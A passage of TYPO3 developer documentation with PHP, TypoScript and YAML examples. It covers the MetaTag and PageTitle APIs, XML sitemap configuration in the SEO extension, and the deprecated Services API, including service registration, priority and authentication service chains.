Copied!

This code will result in a <meta property="og:title" content="This is the OG title from a controller" /> tag in frontend.

If you need to specify sub-properties, e.g. og:image:width, you can use the following code:

use TYPO3\CMS\Core\MetaTag\MetaTagManagerRegistry;
use TYPO3\CMS\Core\Utility\GeneralUtility;

$metaTagManager = GeneralUtility::makeInstance(MetaTagManagerRegistry::class)->getManagerForProperty('og:image');
$metaTagManager->addProperty('og:image', '/path/to/image.jpg', ['width' => 400, 'height' => 400]);
Copied!

You can also remove a specific property:

use TYPO3\CMS\Core\MetaTag\MetaTagManagerRegistry;
use TYPO3\CMS\Core\Utility\GeneralUtility;

$metaTagManager = GeneralUtility::makeInstance(MetaTagManagerRegistry::class)->getManagerForProperty('og:title');
$metaTagManager->removeProperty('og:title');
Copied!

Or remove all previously set meta tags of a specific manager:

use TYPO3\CMS\Core\MetaTag\MetaTagManagerRegistry;
use TYPO3\CMS\Core\Utility\GeneralUtility;

$metaTagManager = GeneralUtility::makeInstance(MetaTagManagerRegistry::class)->getManagerForProperty('og:title');
$metaTagManager->removeAllProperties();
Copied!

Creating Your Own MetaTagManager

If you need to specify the settings and rendering of a specific meta tag (for example when you want to make it possible to have multiple occurrences of a specific tag), you can create your own MetaTagManager. This MetaTagManager must implement \TYPO3\CMS\Core\MetaTag\MetaTagManagerInterface .

To use the manager, you must register it in ext_localconf.php:

$metaTagManagerRegistry = \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance(\TYPO3\CMS\Core\MetaTag\MetaTagManagerRegistry::class);
$metaTagManagerRegistry->registerManager(
    'custom',
    \Some\CustomExtension\MetaTag\CustomMetaTagManager::class
);
Copied!

Registering a MetaTagManager works with the DependencyOrderingService. So you can also specify the priority of the manager by setting the third (before) and fourth (after) parameter of the method. If you for example want to implement your own OpenGraphMetaTagManager, you can use the following code:

$metaTagManagerRegistry = \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance(\TYPO3\CMS\Core\MetaTag\MetaTagManagerRegistry::class);
$metaTagManagerRegistry->registerManager(
    'myOwnOpenGraphManager',
    \Some\CustomExtension\MetaTag\MyOpenGraphMetaTagManager::class,
    ['opengraph']
);
Copied!

This will result in MyOpenGraphMetaTagManager having a higher priority and it will first check if your own manager can handle the tag before it checks the default manager provided by the Core.

TypoScript and PHP

You can set your meta tags by TypoScript and PHP (for example from plugins). First the meta tags from content (plugins) will be handled. After that the meta tags defined in TypoScript will be handled.

It is possible to override earlier set meta tags by TypoScript if you explicitly say this should happen. Therefore the meta.*.replace option was introduced. It is a boolean flag with these values:

  • 1: The meta tag set by TypoScript will replace earlier set meta tags
  • 0: (default) If the meta tag is not set before, the meta tag will be created. If it is already set, it will ignore the meta tag set by TypoScript.
page.meta {
    og:site_name = TYPO3
    og:site_name.attribute = property
    og:site_name.replace = 1
}
Copied!

When you set the property replace to 1 at the specific tag, the tag will replace tags that are set from plugins.

By using the new API it is not possible to have duplicate metatags, unless this is explicitly allowed. If you use custom meta tags and want to have multiple occurrences of the same meta tag, you have to create your own MetaTagManager.

Page title API

In order to keep setting the page titles in control, you can use the PageTitle API. The API uses page title providers to define the page title based on page record and the content on the page.

Based on the priority of the providers, the \TYPO3\CMS\Core\PageTitle\PageTitleProviderManager will check the providers if a title is given by the provider. It will start with the highest priority and will end with the lowest priority.

By default, the Core ships two providers. If you have installed the system extension SEO, the provider with the (by default) highest priority will be the \TYPO3\CMS\Seo\PageTitle\SeoTitlePageTitleProvider . When an editor has set a value for the SEO title in the page properties of the page, this provider will provide that title to the PageTitleProviderManager. If you have not installed the SEO system extension, the field and provider are not available.

The fallback provider with the lowest priority is the \TYPO3\CMS\Core\PageTitle\RecordPageTitleProvider . When no other title is set by a provider, this provider will return the title of the page.

Besides the providers shipped by the Core, you can add own providers. An integrator can define the priority of the providers for his project.

Create your own page title provider

Extension developers may want to have an own provider for page titles. For example, if you have an extension with records and a detail view, the title of the page record will not be the correct title. To make sure to display the correct page title, you have to create your own page title provider. It is quite easy to create one.

First, create a PHP class in your extension that implements the \TYPO3\CMS\Core\PageTitle\PageTitleProviderInterface , for example by extending \TYPO3\CMS\Core\PageTitle\AbstractPageTitleProvider . This will force you to have at least the getTitle() method in your class. Within this method you can create your own logic to define the correct title.

namespace Vendor\Extension\PageTitle;

use TYPO3\CMS\Core\PageTitle\AbstractPageTitleProvider;

class MyOwnPageTitleProvider extends AbstractPageTitleProvider
{
    public function setTitle(string $title)
    {
        $this->title = $title;
    }
}
Copied!

Usage example, for example, in an Extbase controller:

$titleProvider = GeneralUtility::makeInstance(MyOwnPageTitleProvider::class);
$titleProvider->setTitle('Title from controller action');
Copied!

Define priority of PageTitleProviders

The priority of the providers is set by the TypoScript property config.pageTitleProviders. This way an integrator is able to set the priorities for his project and can even have conditions in place.

By default, the Core has the following setup:

config.pageTitleProviders {
    record {
        provider = TYPO3\CMS\Core\PageTitle\RecordPageTitleProvider
    }
}
Copied!

The sorting of the providers is based on the before and after parameters. If you want a provider to be handled before a specific other provider, just set that provider in the before, do the same with after.

If you have installed the system extension SEO, you will also get a second provider. The configuration will be:

config.pageTitleProviders {
    record {
        provider = TYPO3\CMS\Core\PageTitle\RecordPageTitleProvider
    }
    seo {
        provider = TYPO3\CMS\Seo\PageTitle\SeoTitlePageTitleProvider
        before = record
    }
}
Copied!

First the SeoTitlePageTitleProvider (because it will be handled before record) and, if this providers did not provide a title, the RecordPageTitleProvider will be checked.

You can override these settings within your own installation. You can add as many providers as you want. Be aware that if a provider returns a non-empty value, all provider with a lower priority will not be checked.

XML sitemap

It is possible to generate XML sitemaps for SEO purposes without using 3rd party plugins. When this feature is enabled, a sitemap index file is created with one or more sitemaps in it. By default, there will be one sitemap that contains all pages of the current site and language. You can render different sitemaps for each site and language.

Installation

XML sitemaps are part of the "seo" system extension. If the extension is not available in your installation, require it as described here: Installation, EXT:seo Then include the static TypoScript template XML Sitemap (seo).

How to access your XML sitemap

You can access the sitemaps by visiting https://example.org/?type=1533906435. You will first see the sitemap index. By default, there is one sitemap in the index. This is the sitemap for pages.

How to setup routing for the XML sitemap

You can use the PageType decorator to map the page type to a fixed suffix. This allows you to expose the sitemap with a readable URL, for example https://example.org/sitemap.xml.

Additionally, you can map the parameter sitemap, so that the links to the different sitemap types (pages and additional ones, for example, from the news extension) are also mapped.

config/sites/<your_site>/config.yaml
routeEnhancers:
  PageTypeSuffix:
    type: PageType
    map:
      /: 0
      sitemap.xml: 1533906435
  Sitemap:
    type: Simple
    routePath: 'sitemap-type/{sitemap}'
    aspects:
      sitemap:
        type: StaticValueMapper
        map:
          pages: pages
          tx_news: tx_news
          my_other_sitemap: my_other_sitemap
Copied!

XmlSitemapDataProviders

The rendering of sitemaps is based on XmlSitemapDataProviders. EXT:seo ships with two XmlSitemapDataProviders.

For pages

The \TYPO3\CMS\Seo\XmlSitemap\PagesXmlSitemapDataProvider will generate a sitemap of pages based on the detected siteroot. You can configure whether you have additional conditions for selecting the pages. It is also possible to exclude certain doktypes. Additionally, you may exclude page subtrees from the sitemap (e.g internal pages). This can be configured using TypoScript (example below) or using the constants editor in the backend.

EXT:my_extension/Configuration/TypoScript/setup.typoscript
plugin.tx_seo {
    config {
        xmlSitemap {
            sitemaps {
                pages {
                    config {
                        excludedDoktypes = 3, 4, 6, 7, 199, 254, 255, 137, 138
                        additionalWhere = AND (no_index = 0 OR no_follow = 0)
                        #rootPage = <optionally specify a different root page. (default: rootPageId from site configuration)>
                        excludePagesRecursive = <comma-separated list of page IDs>
                    }
                }
            }
        }
    }
}
Copied!

For records

If you have an extension installed and want a sitemap of those records, the \TYPO3\CMS\Seo\XmlSitemap\RecordsXmlSitemapDataProvider can be used. The following example shows how to add a sitemap for news records:

EXT:my_extension/Configuration/TypoScript/setup.typoscript
plugin.tx_seo {
    config {
        <sitemapType> {
            sitemaps {
                <unique key> {
                    provider = TYPO3\CMS\Seo\XmlSitemap\RecordsXmlSitemapDataProvider
                    config {
                        table = news_table
                        sortField = sorting
                        lastModifiedField = tstamp
                        changeFreqField = news_changefreq
                        priorityField = news_priority
                        additionalWhere = AND (no_index = 0 OR no_follow = 0)
                        pid = <page id('s) containing news records>
                        recursive = <number of subpage levels taken into account beyond the pid page. (default: 0)>
                        url {
                            pageId = <your detail page id>
                            fieldToParameterMap {
                                uid = tx_extension_pi1[news]
                            }
                            additionalGetParameters {
                                tx_extension_pi1.controller = News
                                tx_extension_pi1.action = detail
                            }
                        }
                    }
                }
            }
        }
    }
}
Copied!

You can add multiple sitemaps and they will be added to the sitemap index automatically. Use different types to have multiple, independent sitemaps:

EXT:my_extension/Configuration/TypoScript/setup.typoscript
seo_googlenews < seo_sitemap
seo_googlenews.typeNum = 1571859552
seo_googlenews.10.sitemapType = googleNewsSitemap

plugin.tx_seo {
    config {
        xmlSitemap {
            sitemaps {
                news {
                    provider = GeorgRinger\News\Seo\NewsXmlSitemapDataProvider
                    config {
                        # ...
                    }
                }
            }
        }
        googleNewsSitemap {
            sitemaps {
                news {
                    provider = GeorgRinger\News\Seo\NewsXmlSitemapDataProvider
                    config {
                        googleNews = 1
                        # ...
                        template = GoogleNewsXmlSitemap.xml
                    }
                }
            }
        }
    }
}
Copied!

Change frequency and priority

Change frequencies define how often each page is approximately updated and hence how often it should be revisited (for example: News in an archive are "never" updated, while your home page might get "weekly" updates).

Priority allows you to define how important the page is compared to other pages on your site. The priority is stated in a value from 0 to 1. Your most important pages can get an higher priority as other pages. This value does not affect how important your pages are compared to pages of other websites. All pages and records get a priority of 0.5 by default.

The settings can be defined in the TypoScript configuration of an XML sitemap by mapping the properties to fields of the record by using the options changeFreqField and priorityField. changeFreqField needs to point to a field containing string values (see pages TCA definition of field sitemap_changefreq), priorityField needs to point to a field with a decimal value between 0 and 1.

Sitemap of records without sorting field

Sitemaps are paginated by default. To ensure that as few pages of the sitemap as possible are changed after the number of records is changed, the items in the sitemaps are ordered. By default, this is done using a sorting field. If you do not have such a field, make sure to configure this in your sitemap configuration and use a different field. An example you can use for sorting based on the uid field:

EXT:my_extension/Configuration/TypoScript/setup.typoscript
plugin.tx_seo {
    config {
        <sitemapType> {
            sitemaps {
                <unique key> {
                    config {
                        sortField = uid
                    }
                }
            }
        }
    }
}
Copied!

Create your own XmlSitemapDataProvider

If you need more logic in your sitemap, you can also write your own XmlSitemapProvider. You can do this by extending the \TYPO3\CMS\Seo\XmlSitemap\AbstractXmlSitemapDataProvider class. The main methods are getLastModified() and getItems().

The getLastModified() method is used in the sitemap index and has to return the date of the last modified item in the sitemap.

The getItems() method has to return an array with the items for the sitemap:

EXT:my_extension/Classes/XmlSitemap/MyXmlSitemapProvider
$this->items[] = [
    'loc' => 'https://example.org/page1.html',
    'lastMod' => '1536003609'
];
Copied!

The loc element is the URL of the page to be crawled by a search engine. The lastMod element contains the date of the last update of the specific item. This value is a UNIX timestamp. In addition, you can include changefreq and priority as keys in the array to give search engines a hint.

Use a customized sitemap XSL file

The XSL file used to create a layout for an XML sitemap can be configured at three levels:

  1. For all sitemaps:

    EXT:my_extension/Configuration/TypoScript/setup.typoscript
    plugin.tx_seo.config.xslFile = EXT:my_extension/Resources/Public/CSS/mySite.xsl
    Copied!
  2. For all sitemaps of a certain sitemapType:

    EXT:my_extension/Configuration/TypoScript/setup.typoscript
    plugin.tx_seo.config.<sitemapType>.sitemaps.xslFile = EXT:my_extension/Resources/Public/CSS/mySitemapType.xsl
    Copied!
  3. For a specific sitemap:

    EXT:my_extension/Configuration/TypoScript/setup.typoscript
    plugin.tx_seo.config.<sitemapType>.sitemaps.<sitemap>.config.xslFile = EXT:my_extension/Resources/Public/CSS/mySpecificSitemap.xsl
    Copied!

The value is inherited until it is overwritten.

If no value is specified at all, EXT:seo/Resources/Public/CSS/Sitemap.xsl is used as default.

Services

Contents:

Introduction

Deprecated since version 11.3

The abstract class \TYPO3\CMS\Core\Service\AbstractService has been deprecated. See Migration.

This document describes the services functionality included in the TYPO3 Core.

The whole Services API works as a registry. Services are registered with a number of parameters, and each service can easily be overridden by another one with improved features or more specific capabilities, for example. This can be achieved without having to change the original code of TYPO3 or of an extension.

Services are PHP classes packaged inside an extension. The usual way to instantiate a class in TYPO3 is:

EXT:some_extension/Classes/SomeClass.php
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer;

$object = GeneralUtility::makeInstance(ContentObjectRenderer::class);
Copied!

Getting a service instance is achieved using a different API. The PHP class is not directly referenced. Instead a service is identified by its type, sub type and exclude service keys:

EXT:some_extension/Classes/SomeClass.php
// use TYPO3\CMS\Core\Utility\GeneralUtility;

$serviceObject = GeneralUtility::makeInstanceService(
   'my_service_type',
   'my_service_subtype',
   ['not_used_service_type1', 'not_used_service_type2']
);
Copied!

parameters for makeInstanceService:

  • string $serviceType: Type of service (service key)
  • string $serviceSubType (default ''): Sub type like file extensions or similar. Defined by the service.
  • array $excludeServiceKeys (default []): List of service keys which should be excluded in the search for a service. Array.

The same service can be provided by different extensions. The service with the highest priority and quality (more on that later) is chosen automatically for you.

Reasons for using the Services API

Deprecated since version 11.3

The abstract class \TYPO3\CMS\Core\Service\AbstractService has been deprecated. See Migration.

The AbstractService has been deprecated and it is planned to also deprecate the other methods of the Service API in the future. The Service API should only be used for frontend and backend user authentication.

Using Services

This chapter describes the different ways in which services can be used. It also explains the most important notion about services: precedence.

Service precedence

Several services may be declared to do the same job. What will distinguish them is two intrinsic properties of services: priority and quality. Priority tells TYPO3 which service should be called first. Normal priorities vary between 0 and 100, but can exceptionally be set to higher values (no maximum). When two services of equal priority are found, the system will use the service with the best quality.

The priority is used to define a call order for services. The default priority is 50. The service with the highest priority is called first. The priority of a service is defined by its developer, but may be reconfigured (see Configuration). It is thus very easy to add a new service that comes before or after an existing service, or to change the call order of already registered services.

The quality should be a measure of the worthiness of the job performed by the service. There may be several services who can perform the same task (e.g. extracting meta data from a file), but one may be able to do that much better than the other because it is able to use a third- party application. However if that third-party application is not available, neither will this service. In this case TYPO3 can fall back on the lower quality service which will still be better than nothing. Quality varies between 0-100.

More considerations about priority and quality can be found in the Developer's Guide.

The "Installed Services" report of the System > Reports module provides an overview of all installed services and their priority and quality. It also shows whether a given service is available or not.

The Installed Services report showing details about registered services

Simple usage

The most basic use is when you want an object that handles a given service type:

if (is_object($serviceObject = \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstanceService('textLang'))) {
	$language = $serviceObject->guessLanguage($text);
}
Copied!

In this example a service of type "textLang" is requested. If such a service is indeed available an object will be returned. Then the guessLanguage() - which would be part of the "textLang" service type public API - is called.

There's no certainty that an object will be returned, for a number of reasons:

  • there might be no service of the requested type installed
  • the service deactivated itself during registration because it recognized it can't run on your platform
  • the service was deactivated by the system because of certain checks
  • during initialization the service checked that it can't run and deactivated itself

Note that when a service is requested, the instance created is stored in a global registry. If that service is requested again during the same code run, the stored instance will be returned instead of a new one. More details in Service API.

If several services are available, the one with the highest priority (or quality if priority are equals) will be used.

Use with subtypes

A service can also be requested for not just a type, but a subtype too:

// Find a service for a file type
if (is_object($serviceObject = \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstanceService('metaExtract', $fileType))) {
        $serviceObj->setInputFile($absFile, $fileType);
        if ($serviceObj->process('', '', array('meta' => $meta)) > 0 && (is_array($svmeta = $serviceObj->getOutput()))) {
                $meta = $svmeta;
        }
}
Copied!

In this example a service type "metaExtract" is requested for a specific subtype corresponding to some file's type. With the returned instance, it then proceeds to retrieving whatever possible meta data from the file.

If several services are available for the same subtype, the one with the highest priority (or quality if priority are equals) will be used.

Calling a chain of services

It is also possible to use services in a "chain". This means using all the available services of a type instead of just one.

The method GeneralUtility::makeInstanceService() accepts a third parameter to exclude a number of services, using an array of service keys. This way you can walk through all available services of a type by passing the already used service keys. Services will be called in order of decreasing priority and quality.

The following example is an extract of the user authentication process:

EXT:some_extension/Classes/SomeClass.php
use TYPO3\CMS\Core\Utility\GeneralUtility;

// Use 'auth' service to find the user
// First found user will be used
$subType = 'getUser' . $this->loginType;
/** @var AuthenticationService $serviceObj */
foreach ($this->getAuthServices($subType, $loginData, $authInfo) as $serviceObj) {
    if ($row = $serviceObj->getUser()) {
        $tempuserArr[] = $row;
        $this->logger->debug('User found', [
            $this->userid_column => $row[$this->userid_column],
            $this->username_column => $row[$this->username_column],
        ]);
        // User found, just stop to search for more if not configured to go on
        if (empty($authConfiguration[$this->loginType . '_fetchAllUsers'])) {
            break;
        }
    }
}

protected function getAuthServices(string $subType, array $loginData, array $authInfo): \Traversable
{
   $serviceChain = [];
   while (is_object($serviceObj = GeneralUtility::makeInstanceService('auth', $subType, $serviceChain))) {
      $serviceChain[] = $serviceObj->getServiceKey();
      $serviceObj->initAuth($subType, $loginData, $authInfo, $this);
      yield $serviceObj;
   }
}
Copied!

As you see the while loop is exited when a service gives a result. More sophisticated mechanisms can be imagined. In this next example – also taken from the authentication process – the loop is exited only when a certain value is returned by the method called:

EXT:some_extension/Classes/SomeClass.php
foreach ($tempuserArr as $tempuser) {
   // Use 'auth' service to authenticate the user.
   // If one service returns FALSE then authentication fails.
   // A service may return 100 which means there's no reason to stop but the
   // user can't be authenticated by that service.
   $this->logger->debug('Auth user', $tempuser);
   $subType = 'authUser' . $this->loginType;

   foreach ($this->getAuthServices($subType, $loginData, $authInfo) as $serviceObj) {
      if (($ret = $serviceObj->authUser($tempuser)) > 0) {
         // If the service returns >=200 then no more checking is needed.
         // This is useful for IP checking without password.
         if ((int)$ret >= 200) {
            $authenticated = true;
            break;
         }
         if ((int)$ret >= 100) {
         } else {
            $authenticated = true;
         }
      } else {
         $authenticated = false;
         break;
      }
   }

   if ($authenticated) {
      // Leave foreach() because a user is authenticated
      break;
   }
}
Copied!

In the above example the loop will walk through all services of the given type except if one service returns false or a value larger than or equals to 200, in which case the chain is interrupted.

Configuration

Each service will have its own configuration which should be documented in their manual. There are however properties common to all services as well as generic mechanisms which are described below.

Override service registration

The priority and other values of the original service registration can be overridden in any extension's ext_localconf.php file. Example:

 // Raise priority of service 'tx_example_sv1' to 110
$GLOBALS['TYPO3_CONF_VARS']['T3_SERVICES']['auth']['tx_example_sv1']['priority'] = 110;

 // Disable service 'tx_example_sv1'
$GLOBALS['TYPO3_CONF_VARS']['T3_SERVICES']['auth']['tx_example_sv1']['enable'] = false;
Copied!

The general syntax is:

$GLOBALS['TYPO3_CONF_VARS']['T3_SERVICES'][service type][service key][option key] = value;
Copied!

Registration options are described in more details in Implementing a service. Any of these options may be overridden using the above syntax. However caution should be used depending on the options. className should not be overridden in such a way. Instead a new service should be implemented using an alternate class.

Service configuration

Some services will not need additional configuration. Others may have some options that can be set in the Extension Manager. Yet others may be configured via local configuration files (ext_localconf.php ). Example:

$GLOBALS['TYPO3_CONF_VARS']['SVCONF']['auth']['tx_example_sv1']['foo'] = 'bar';
Copied!

The general syntax is:

$GLOBALS['TYPO3_CONF_VARS']['SVCONF'][service type][service key][config key] = value;
Copied!

A configuration can also be set for all services belonging to the same service type by using the keyword "default" instead of a service key:

$GLOBALS['TYPO3_CONF_VARS']['SVCONF'][service type]['default'][config key] = value;
Copied!

The available configuration settings should be described in the service's documentation. See Service API to see how you can read these values properly inside your service.

Service type configuration

It may also be necessary to provide configuration options for the code that uses the services (and not for usage inside the services themselves). It is recommended to make use of the following syntax:

$GLOBALS['TYPO3_CONF_VARS']['SVCONF'][service type]['setup'][config key] = value;
Copied!

Example:

$GLOBALS['TYPO3_CONF_VARS']['SVCONF']['auth']['setup']['FE_alwaysFetchUser'] = true;
Copied!

This configuration can be placed in a local configuration file (ext_localconf.php ). There's no API for retrieving these values. It's just a best practice recommendation.

Developer's Guide

This chapter describes all you need to know to develop a new service, including advice to developing good services.

Introducing a new service type

Deprecated since version 11.3

The abstract class \TYPO3\CMS\Core\Service\AbstractService has been deprecated. See Migration.

Every service belongs to a given service type. A service type is represented by a key, just like an extension key. In the examples above there were mentions of the "auth" and "metaExtract" service types.

Each service type will implement its own API corresponding to the task it is designed to handle. For example the "auth" service type requires the two methods getUser() and authUser(). If you introduce a new service type you should think well about its API before starting development. Ideally you should discuss with other developers. Services are meant to be reusable. A badly designed service that is used only once is a failed service.

You should plan to provide an interface and/or base class for your new service type. It is then easier to develop services based on this type as you can start by extending the base class. You should also provide a documentation, that describes the API. It should be clear to other developers what each method of the API is supposed to do.

Implementing a service

Deprecated since version 11.3

The abstract class \TYPO3\CMS\Core\Service\AbstractService has been deprecated. See Migration.

There are no tools to get you started coding a new service. However there is not much that needs to be done.

A service should be packaged into an extension. The chapter Files and locations explains the minimal requirements for an extension. The class file for your service should be located in the Classes/Service directory.

Finally the service registration is placed in the extension's ext_localconf.php file.

Service registration

Registering a service is done inside the ext_localconf.php file. Let's look at what is inside.

<?php
defined('TYPO3') or die();

\TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addService(
    // Extension Key
    'babelfish',
    // Service type
    'translator',
    // Service key
    'tx_babelfish_translator',
    array(
        'title' => 'Babelfish',
        'description' => 'Guess alien languages by using a babelfish',

        'subtype' => '',

        'available' => true,
        'priority' => 60,
        'quality' => 80,

        'os' => '',
        'exec' => '',

        'className' => \Foo\Babelfish\Service\Translator::class
    )
);
Copied!

A service is registered with TYPO3 by calling \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addService(). This method takes the following parameters:

$extKey
(string) The key of the extension containing the service.
$serviceType
(string) Service type of the service. Choose something explicit.
$serviceKey
(string) Unique key for the service. Choose something explicit.
$info

(array) Additional information about the service:

title
(string) The title of the service.
description

(string) The description. If it makes sense it should contain information about

  • the quality of the service (if it's better or not than normal)
  • the OS dependency (either WIN or UNIX)
  • the dependency on external programs (perl, pdftotext, etc.)
subtype

(string / comma-separated list) The subtype is not predefined. Its usage is defined by the API of the service type.

Example:

'subtype' => 'jpg,tif'
Copied!
available

(boolean) Defines if the service is available or not. This means that the service will be ignored if available is set to false.

It makes no sense to set this to false, but it can be used to make a quick check if the service works on the system it is installed on:

Examples:

// Is the curl extension available?
'available' => function_exists('curl_exec'),
Copied!

Only quick checks are appropriate here. More extensive checks should be performed when the service is requested and the service class is initialized.

Defaults to true.

priority

(integer) The priority of the service. A service of higher priority will be selected first. Can be reconfigured.

Use a value from 0 to 100. Higher values are reserved for reconfiguration in local configuration. The default value is 50 which means that the service is well implemented and gives normal (good) results.

Imagine that you have two solutions, a pure PHP one and another that depends on an external program. The PHP solution should have a priority of 50 and the other solution a lower one. PHP-only solutions should have a higher priority since they are more convenient in terms of server setup. But if the external solution gives better results you should set both to 50 and set the quality value to a higher value.

quality

(integer/float) Among services with the same priority, the service with the highest quality but the same priority will be preferred.

The use of the quality range is defined by the service type. Integer or floats can be used. The default range is 0-100 and the default value for a normal (good) quality service is 50.

The value of the quality should represent the capacities of the services. Consider a service type that implements the detection of a language used in a text. Let's say that one service can detect 67 languages and another one only 25. These values could be used directly as quality values.

os

(string) Defines which operating system is needed to run this service.

Examples:

// runs only on UNIX
'os' => 'UNIX',

// runs only on Windows
'os' => 'WIN',

// no special dependency
'os' => '',
Copied!
exec

(string / comma-separated list) List of external programs which are needed to run the service. Absolute paths are allowed but not recommended, because the programs are searched for automatically by \TYPO3\CMS\Core\Utility\CommandUtility. Leave empty if no external programs are needed.

Examples:

'exec' => 'perl',

'exec' => 'pdftotext',
Copied!
className

(string) Name of the PHP class implementing the service.

Example:

'className' => \Foo\Babelfish\Service\Translator::class
Copied!

PHP class

The PHP class corresponding to the registered service should provide the methods mentioned in Service Implementation.

It should then implement the methods that you defined for your service's public API, plus whatever method is relevant from the base TYPO3 service API, which is described in details in the next chapter.

Service API

Deprecated since version 11.3

The abstract class \TYPO3\CMS\Core\Service\AbstractService has been deprecated. See Migration.

All service classes should implement the methods mentioned below.

Authentication services should inherit from \TYPO3\CMS\Core\Authentication\AbstractAuthenticationService .

Service Implementation

These methods are related to the general functioning of services.

init

This method is expected to perform any necessary initialization for the service. Its return value is critical. It should return false if the service is not available for whatever reason. Otherwise it should return true.

Note that's it's not necessary to check for OS compatibility, as this will already have been done by \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addService() when the service is registered.

Executables should be checked, though, if any.

The init() method is automatically called by \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstanceService() when requesting a service.

reset

When a service is requested by a call to \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstanceService(), the generated instance of the service class is kept in a registry ( $GLOBALS['T3_VAR']['makeInstanceService']). When the same service is requested again during the same code run, a new instance is not created. Instead the stored instance is returned. At that point the reset() method is called.

This method can be used to clean up data that may have been set during the previous use of that instance.

__destruct
Clean up method. The base implementation calls on unlinkTempFiles() to delete all temporary files.

The little schema below summarizes the process of getting a service instance and when each of init() and reset() are called.

The life cycle of a service instance

The life cycle of a service instance

Getter Methods for Service Information

Most of the below methods are quite obvious, except for getServiceOption().

getServiceInfo
Returns the array containing the service's properties
getServiceKey
Returns the service's key
getServiceTitle
Returns the service's title
getServiceOption

This method is used to retrieve the value of a service option, as defined in the $GLOBALS['TYPO3_CONF_VARS']['SVCONF'] array. It will take into account possible default values as described in the Service configuration chapter.

This method requires more explanation. Imagine your service has an option called "ignoreBozo". To retrieve it in a proper way, you should not access $GLOBALS['TYPO3_CONF_VARS']['SVCONF'] directly, but use getServiceOption() instead. In its simplest form, it will look like this (inside your service's code):

EXT:some_extension/Classes/Services/SomeService.php
$ignoreBozo = $this->getServiceOption('ignoreBozo');
Copied!

This will retrieve the value of the "ignoreBozo" option for your specific service, if defined. If not, it will try to find a value in the default configuration. Additional call parameters can be added:

  • the second parameter is a default value to be used if no value was
    found at all (including in the default configuration)
  • the third parameter can be used to temporarily switch off the usage of
    the default configuration.

This allows for a lot of flexibility.

Error Handling

This set of methods handles the error reporting and manages the error queue. The error queue works as a stack. New errors are added on top of the previous ones. When an error is read from the queue it is the last one in that is taken (last in, first out). An error is actually a short array comprised of an error number and an error message.

The error queue exists only at run-time. It is not stored into session or any other form of persistence.

errorPush
Puts a new error on top of the queue stack.
errorPull
Removes the latest (topmost) error in the queue stack.
getLastError
Returns the error number from the latest error in the queue, or true if queue is empty.
getLastErrorMsg
Same as above, but returns the error message.
getErrorMsgArray
Returns an array with the error messages of all errors in the queue.
getLastErrorArray
Returns the latest error as an array (number and message).
resetErrors
Empties the error queue.

General Service Functions

checkExec

This method checks the availability of one or more executables on the server. A comma-separated list of executable names is provided as a parameter. The method returns true if all executables are available.

The method relies on \TYPO3\CMS\Core\Utility\CommandUtility::checkCommand() to find the executables, so it will search through the paths defined/allowed by the TYPO3 configuration.

deactivateService
Internal method to temporarily deactivate a service at run-time, if it suddenly fails for some reason.

I/O Tools

A lot of early services were designed to handle files, like those used by the DAM. Hence the base service class provides a number of methods to simplify the service developer's life when it comes to read and write files. In particular it provides an easy way of creating and cleaning up temporary files.

checkInputFile
Checks if a file exists and is readable within the paths allowed by the TYPO3 configuration.
readFile
Reads the content of a file and returns it as a string. Calls on checkInputFile() first.
writeFile
Writes a string to a file, if writable and within allowed paths. If no file name is provided, the data is written to a temporary file, as created by tempFile() below. The file path is returned.
tempFile
Creates a temporary file and keeps its name in an internal registry of temp files.
registerTempFile
Adds a given file name to the registry of temporary files.
unlinkTempFiles
Deletes all the registered temporary files.

I/O Input and I/O Output

These methods provide a standard way of defining or getting the content that needs to be processed – if this is the kind of operation that the service provides – and the processed output after that.

setInput
Sets the content (and optionally the type of content) to be processed.
setInputFile
Sets the input file from which to get the content (and optionally the type).
getInput
Gets the input to process. If the content is currently empty, tries to read it from the input file.
getInputFile
Gets the name of the input file, after putting it through checkInputFile() . If no file is defined, but some content is, the method writes the content to a temporary file and returns the path to that file.
setOutputFile
Sets the output file name.
getOutput
Gets the output content. If an output file name is defined, the content is gotten from that file.
getOutputFile
Gets the name of the output file. If such file is not defined, a temporary file is created with the output content and that file's path is returned.

Migration

Deprecated since version 11.3

The abstract class \TYPO3\CMS\Core\Service\AbstractService has been deprecated. See Migration.

Remove any usage of the class \TYPO3\CMS\Core\Service\AbstractService in your extension. In case you currently extend AbstractService for use in an authentication service, which might be the most common scenario, you can extend the \TYPO3\CMS\Core\Authentication\AbstractAuthenticationService instead.

In case you currently extend AbstractService for another kind of service, which is rather unlikely, you have to implement the necessary methods in your service class yourself. Please see Service Implementation for more details about the required methods. However, even better would be to completely migrate away from the Service API (look for GeneralUtility::makeInstanceService()), since the Core will deprecate these related methods in the future.

Services API

Deprecated since version 11.3

The abstract class \TYPO3\CMS\Core\Service\AbstractService has been deprecated. See Migration.

This section describes the methods of the TYPO3 Core that are related to the use of services.

\TYPO3\CMS\Core\Utility\ExtensionManagementUtility

This extension management class contains three methods related to services:

addService
This method is used to register services with TYPO3. It checks for availability of a service with regards to OS dependency (if any) and fills the $GLOBALS['T3_SERVICES'] array, where information about all registered services is kept.
findService

This method is used to find the appropriate service given a type and a subtype. It handles priority and quality rankings. It also checks for availability based on executables dependencies, if any.

This method is normally called by \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstanceService(), so you shouldn't have to worry about calling it directly, but it can be useful to check if there's at least one service available.

deactivateService
Marks a service as unavailable. It is called internally by addService() and findService() and should probably not be called directly unless you're sure of what you're doing.

\TYPO3\CMS\Core\Utility\GeneralUtility

This class contains a single method related to services, but the most useful one, used to get an instance of a service.

makeInstanceService

This method is used to get an instance of a service class of a given type and subtype. It calls on \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::findService() to find the best possible service (in terms of priority and quality).

As described above it keeps a registry of all instantiated service classes and uses existing instances whenever possible, in effect turning service classes into singletons.

User session management

User sessions in TYPO3 are represented as UserSession objects. The TYPO3 authentication service chain creates or updates user sessions when authenticating users.

